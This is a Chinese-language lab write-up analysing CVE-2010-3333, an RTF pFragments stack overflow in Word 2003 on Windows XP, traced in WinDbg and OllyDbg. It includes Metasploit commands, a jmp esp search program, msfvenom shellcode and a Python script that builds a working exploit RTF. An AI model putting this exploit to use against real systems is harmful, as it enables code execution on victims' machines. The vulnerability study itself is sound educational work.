测试环境:
X | 推荐环境 | 备注 |
---|---|---|
操作系统 | win_xp_sp3 | 简体中文版 |
虚拟机 | vmware | 15.5 |
调试器 | ollydbg,WIndbg | 吾爱破解od,Windbg_x86 |
反汇编器 | IDA pro | 版本号:7.0 |
漏洞软件 | word | 版本号: 2003_sp3 |
先补充下rtf的知识
rtf文件格式
rtf形式上类似于xml,通过控制字编辑属性。从msf生成的msf.rtf来看,各个字段的含义如下:(来自漏洞战争)
\rtf1:rtf版本
\shp:绘画对象
*\shpinst:图片引用
\sp:绘画对象属性定义
\sn pFragments:定义属性名称,pFragments段是图形的附加部分,属于数组结构。允许图形包含多个路径和分段,该属性列出图形各个碎片
\sv:定义属性值
用msf生成一个样本
search cve-2010-3333 use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof show info set target 6 #设置为poc验证 exploit
生成后将样本复制到虚拟机里,取名为msf.rtf
由于Windbg很少使用,不熟练,这里先开始配置主题,打开Windbg目录下的theme目录,里面有4个主题,任选测试,我这里选了standard的主题
然后先打开word,然后windbg附加,然后F5继续运行,然后打开msf.rtf
打开后发觉程序断下来了,
这里断在了
30edf864 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
看来就是重复复制数据的时候出错了,得到个地址记录下来
地址 | 备注 |
---|---|
30edf864 | rep movs dword ptr es:[edi],dword ptr [esi] |
重新运行软件,这里是按ctrl+shift+f5,然后重点来了
注意: 这里按f5运行后剪贴板会被清空,复制也没用,得保存那个地址
再次断下来了
这里可以猜测,复制数据的时候没有限制长度,导出复制超过了,这里的edi为12a750,而ebp为12a760,所以只要超过0x10的长度就可以覆盖到ebp,到返回地址便是0x10+4, 我们这里继续从栈中回溯找到调用的地方,用kn命令可以看到,也可以从图中的Calls里看到
从上往下为
0:000> kn
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0012a760 30f0f3cb mso!Ordinal1488+0x29fd
01 0012a790 30f0f359 mso!Ordinal901+0x2a3c
02 0012a9dc 30d4d762 mso!Ordinal901+0x29ca
03 0012aa04 30d4d70b mso!Ordinal4925+0x53
04 0012aa08 30d4d47d mso!Ordinal5148+0x36
05 0012aa0c 014a0b88 mso!Ordinal4783+0x12f
06 0012aa10 014a0bc0 0x14a0b88
07 0012aa14 014a0a70 0x14a0bc0
08 0012aa18 30dd112c 0x14a0a70
09 0012aa1c 00000000 mso!Ordinal2940+0x1588c
很明显00处存的是call addr的下一条指令的地址,这里我们用ub查看该处,可以看到前面几条的命令,这里便是调用处,我们又获取到一个地址
0:000> ub 30f0f3cb
mso!Ordinal901+0x2a28:
30f0f3b7 23c1 and eax,ecx
30f0f3b9 50 push eax
30f0f3ba 8d47ff lea eax,[edi-1]
30f0f3bd 50 push eax
30f0f3be 8b4508 mov eax,dword ptr [ebp+8]
30f0f3c1 6a00 push 0
30f0f3c3 ff750c push dword ptr [ebp+0Ch]
30f0f3c6 e857000000 call mso!Ordinal901+0x2a93 (30f0f422)
扩展我们的表
地址 | 备注 |
---|---|
30edf864 | rep movs dword ptr es:[edi],dword ptr [esi] |
30f0f3c6 | call mso!Ordinal901+0x2a93 (30f0f422) |
再次重新运行,下断,这里可以追到他传的什么参数了,不过我们不知道哪里是这段代码的开头,所以我们再次运用上一次的办法获取地址
0:000> ub 30f0f359
mso!Ordinal901+0x29ae:
30f0f33d 0f8408d0ffff je mso!Ordinal1148+0x13a1 (30f0c34b)
30f0f343 ff757c push dword ptr [ebp+7Ch]
30f0f346 8d8558ffffff lea eax,[ebp-0A8h]
30f0f34c ff7578 push dword ptr [ebp+78h]
30f0f34f 50 push eax
30f0f350 8d45a4 lea eax,[ebp-5Ch]
30f0f353 50 push eax
30f0f354 e80d000000 call mso!Ordinal901+0x29d7 (30f0f366)
扩展我们的表
地址 | 备注 |
---|---|
30edf864 | rep movs dword ptr es:[edi],dword ptr [esi] |
30f0f3c6 | call mso!Ordinal901+0x2a93 (30f0f422) |
30f0f354 | call mso!Ordinal901+0x29d7 (30f0f366) |
这次断下来后,我们按f11跟进,不要跳过去了
一直F10到接近30f0f3c6处,因为我们要获取的参数,看哪些是可控因素,我们才可以控制
# result = sub_30F0F422(a2, 0, v4 - 1, a3 != 0 ? (unsigned int)&v10 : 0, a4);
30f0f3ab ff7514 push dword ptr [ebp+14h]
30f0f3ae 8bc6 mov eax,esi
30f0f3b0 f7d8 neg eax
30f0f3b2 1bc0 sbb eax,eax
30f0f3b4 8d4dfc lea ecx,[ebp-4]
30f0f3b7 23c1 and eax,ecx
30f0f3b9 50 push eax
30f0f3ba 8d47ff lea eax,[edi-1]
30f0f3bd 50 push eax
30f0f3be 8b4508 mov eax,dword ptr [ebp+8]
30f0f3c1 6a00 push 0
30f0f3c3 ff750c push dword ptr [ebp+0Ch]
30f0f3c6 e857000000 call mso!Ordinal901+0x2a93 (30f0f422)
单步到这里我们可以猜测 可能有6个参数,push了5个,加上mov eax,[ebp+8]
而ebp+8是和ebp+0xc是上一个函数的参数1跟参数2,这里可能是可控因素
接下来f11跟进去,看到有
f0f428 837d1800 cmp dword ptr [ebp+18h],0
证明至少有4个参数,(0x18-0x8)/4
继续追
30f0f42c 57 push edi
30f0f42d 8bf8 mov edi,eax
30f0f42f 0f842a1b1800 je mso!Ordinal3000+0x94b2e (31090f5f)
30f0f435 8b4f08 mov ecx,dword ptr [edi+8]
30f0f438 53 push ebx
30f0f439 56 push esi
看到这里,基本可以断定有6个参数了,因为他保存了edi,然后从eax里取值了,有点类似c++ 的this指针,
这里有三个参数,同时利用ida进行验证
(*(void (__stdcall **)(int *, int *, int))(v7 + 28))(v6, &v14, a3);
30f0f43f ff750c push dword ptr [ebp+0Ch]
30f0f442 8b7064 mov esi,dword ptr [eax+64h]
30f0f445 8365f800 and dword ptr [ebp-8],0
30f0f449 8b06 mov eax,dword ptr [esi]
30f0f44b 8d4df0 lea ecx,[ebp-10h]
30f0f44e 51 push ecx
30f0f44f bb00000005 mov ebx,5000000h
30f0f454 56 push esi
30f0f455 895df4 mov dword ptr [ebp-0Ch],ebx
30f0f458 ff501c call dword ptr [eax+1Ch] ds:0023:30da6114=30edf83e
这里会跑飞,间接调用,这里用函数指针,然后就调用了qmemcpy,调用过后这里的结尾为
30F0F519 C9 leave
30F0F51A C2 1400 retn 0x14
刚好可以说明原来那个函数的参数为5个,再加上eax为6个
最后调用到的那个函数为
void __stdcall sub_30EDF83E(int a1, void *a2, int a3) { if ( a2 ) qmemcpy( a2, (const void *)(*(_DWORD *)(a1 + 16) + a3 * (*(_DWORD *)(a1 + 8) & 0xFFFF)), *(_DWORD *)(a1 + 8) & 0xFFFF); }
所以就是qmemcpy复制导致溢出,接着,我要测试这个poc crash的原因,在获取到的第一个地址下断,30edf864,查看此时ebp的值
F10运行后再次查看ebp的值,可以看到此时ebp的值变为
注意,我们需要观察的是返回地址被覆盖成了什么,而不是ebp,ebp+4处为返回地址,内存中为: 36416137 转为16进制这里是0x37614136,
再次F5 我们观察eip的值为
That was Interesting,对吧,很有趣,不是我们想要的值,这是为什么呢
输入命令
!exchain
这里我们可以看到eip居然与这个惊人的相同,暂时不用知道这是什么,我们只需知道这个与eip相同
我们希望的是
而实际的却距离这很远很远,为什么呢,接下来便是查资料了,查了好多后就知道了,这便是基于SEH的攻击
暂时不解释什么叫seh,攻击方式可以说,他的结构里有一个函数指针,我们如果修改了他,就可以指向我们的代码处
地址 | 备注 |
---|---|
30edf864 | rep movs dword ptr es:[edi],dword ptr [esi] |
30f0f3c6 | call mso!Ordinal901+0x2a93 (30f0f422) |
30f0f354 | call mso!Ordinal901+0x29d7 (30f0f366) |
30001BDD | pop ecx |
为了更直观的展示,我这里用ollydbg进行查看,同时我用msf生成了一个基于seh攻击的样本
search cve-2010-3333 use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof show options set target 2 #2003 sp3 set PAYLOAD windows/exec set CMD calc.exe #弹出计算器 set EXITFUNC seh #攻击方式为seh exploit
生成的样本为msf2.rtf
这里调试有个小技巧,因为打开word后在通过word打开rtf会直接crash,所以直接双击msf2.rtf 等他弹出上次打开文档的错误,这时候进行附加
同时直接对我们的表中的第一项地址进行下断
ctrl+g 跳转到指定地址,f2下断
f9运行后,点打开,不点恢复数据
这时候点堆栈中跟随,然后往上啦一点
根据edi的位置进行调整,点锁定堆栈
点查看->seh链,可以看到此时的seh链
点中间的c可以恢复到cpu窗口,
f8运行,此时跑飞了,不过我们一样可以看到seh链的值被改为什么了,我们锁定了堆栈,往最底下拉
值变为这个,我们右键反汇编窗口中跟随
!
可以看到这里是pop ecx, pop ecx,机会来了,ROP,看着有点像不,我们将其记录在表中,再次调试,这里需要注意的是不要点击重新运行,关掉后,再次附加即可,不然加载速度很慢
然后ctrl+g输入地址下断,这里追下去暂时没意义了,不过还是可以追,单步追,遇到循环就在循环处的下一个指令,按f4,运行到此处,绕过就行,到jmp eax处会跳走,大概就是前面的作用是GetProcAddress,获取函数地址,然后跳转到该地址执行,看此时栈里,便是WinExec Calc 了
调试完会发觉一头雾水,因为不知道seh的结构,没事,接下来才是重头戏
深入解析结构化异常处理(SEH) - by Matt Pietrek中文版
这篇文章讲的十分好,如果有能力的建议去读读英文原版
我就不细说了,建议不要看一半就去做实验,因为我是这样的,然后调试的时候发觉了一些结构,就是vc++有扩展版本的seh结构,带了scopetable,当时调试的时候调试出来他是干嘛的了,印象比较深刻,不过也浪费较多的时间,不说了,先去看看这篇文章
调试的时候我发觉了,这个方法好是挺好,没发觉要覆盖的数据太多了吗,因为这里的SEH距离栈底相对还是很远的,覆盖的数据太多,为什么不直接用覆盖返回地址的方法呢,答案当然也是可以的,不要覆盖到seh结构就行
这个没开保护的,所以我们直接利用jmp esp执行shellcode,首先我们搜寻jmp esp
引用《0day安全:软件漏洞分析技术》这本书3.2.2节的代码
搜索各个进程空间来获取
#include "stdafx.h" #include <stdio.h> #include <windows.h> #define DLL_NAME "user32.dll" int main() { BYTE *ptr; int position,address; HINSTANCE handle; BOOL done_flag=FALSE; handle=LoadLibrary(DLL_NAME); if(!handle) { printf("load dll error"); return 0; } ptr=(BYTE *)handle; for(position=0;!done_flag;position++) { try { if(ptr[position]==0xFF &&ptr[position+1]==0xE4) { int address=(int)ptr+position; printf("OPCODE found at 0x%x\n",address); } } catch(...) { int address=(int)ptr+position; printf("END OF 0x%x\n",address); done_flag=true; } } getchar(); return 0; }
这里查找到的
OPCODE found at 0x77d93ac8
OPCODE found at 0x77d93acc
OPCODE found at 0x77d93af0
OPCODE found at 0x77d93b4c
OPCODE found at 0x77d93c08
OPCODE found at 0x77d93c78
OPCODE found at 0x77d93c7c
OPCODE found at 0x77d93cfc
OPCODE found at 0x77d93d93
OPCODE found at 0x77d93e13
OPCODE found at 0x77d94703
OPCODE found at 0x77d9a313
OPCODE found at 0x77d9a323
OPCODE found at 0x77d9a32f
OPCODE found at 0x77dbf049
OPCODE found at 0x77dc965b
OPCODE found at 0x77de8063
OPCODE found at 0x77df3b63
OPCODE found at 0x77e12a9f
OPCODE found at 0x77e1bb17
OPCODE found at 0x77e1c3f3
OPCODE found at 0x77e1f2c8
OPCODE found at 0x77e35b79
END OF 0x77e49000
查找到后挑选一个
注意qmemcpy调用者的栈被破坏了,而他的结尾是
30F0F519 C9 leave
30F0F51A C2 1400 retn 0x14
所以他提高了栈顶,
所以结构清晰了,因为retn 0x14,所以导致add esp,0x14
0x10的垃圾数据 |
---|
ebp |
retn |
0x14的垃圾数据 |
shellcode |
至于rtf结构,我们照着做一个就行,同时还差一点,我们需要知道他从哪开始复制,这里再次从30edf864处下断获得,经过测试,测试样本为poc验证样本
刚好从那acc8后面开始,而长度则为0xc8ac >> 0x2,调试可以得到
注意rtf中数据为hex格式,所以大小均要*2
shellcode 由msfvenom生成
└──╼ $msfvenom -a x86 -p windows/exec cmd=calc.exe -f hex [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload No encoder or badchars specified, outputting raw payload Payload size: 193 bytes Final size of hex file: 386 bytes fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500
所以构造payload
length = "0010" jmp_esp = "cc3ad977" shellcode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500" payload = r"{\rtf1{\shp{\sp{\sn pFragments}{\sv 5;5;11111111" payload += length payload += "a"*(0x14*2) payload += jmp_esp payload += "a"*(0x14*2) payload += shellcode payload += "}}}}" #结尾 with open("shellcode.rtf", "w") as f: f.write(payload)
发觉并不行的通,理由他会跳转到一个错误的地址,调试自行测试,我们需要让他je跳过
30F0F45B 8B45 14 mov eax,dword ptr ss:[ebp+0x14]
30F0F45E FF75 18 push dword ptr ss:[ebp+0x18]
30F0F461 8B55 F0 mov edx,dword ptr ss:[ebp-0x10]
30F0F464 F7D8 neg eax
30F0F466 1BC0 sbb eax,eax
30F0F468 8D4D F8 lea ecx,dword ptr ss:[ebp-0x8]
30F0F46B 23C1 and eax,ecx
30F0F46D 50 push eax
30F0F46E FF75 08 push dword ptr ss:[ebp+0x8]
30F0F471 E8 99010000 call mso.30F0F60F
30F0F476 84C0 test al,al
30F0F478 0F84 98000000 je mso.30F0F516
这是执行了qmemcpy后面的语句,我们需要这个je跳过就直接到结尾了,那么eax该为什么呢,这里取0的话,neg取反还是0,sbb还是0,and还是0,似乎挺符合的,进入call里面发觉他xor al,al了,更符合了,所以就是他了
length = "0010" jmp_esp = "cc3ad977" shellcode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500" payload = r"{\rtf1{\shp{\sp{\sn pFragments}{\sv 5;5;11111111" payload += length payload += "a"*(0x14*2) payload += jmp_esp payload += "0"*(0x14*2) payload += shellcode payload += "}}}}" #结尾 with open("shellcode.rtf", "w") as f: f.write(payload)
附上成功截图
db 查看指定处的数据,可以db register,db addr
ub 查看指定地址处的汇编代码,可以看到前几行的代码
u 查看指定地址处的汇编代码,往下看
!exchain 查看seh链条
!address 地址 查看指定地址处的内存页保护情况
lmv m mso 查看mso模块情况
bp addr 下断点
bl 查看断点列表
bc 清除断点
F10 单步步过
F11 单步步进
shift+ctrl+f5 重新运行
Windbg主题的设置 windbg安装目录的theme目录下设置
小技巧:
重新启动运行后在按ctrl+break中断下断点
F2 下断点
F8 单步步过
F7 单步步进
锁定堆栈技巧
堆栈中跟随
SEH链查看
如何查找jmp esp也学到了,在ROP攻击处的开头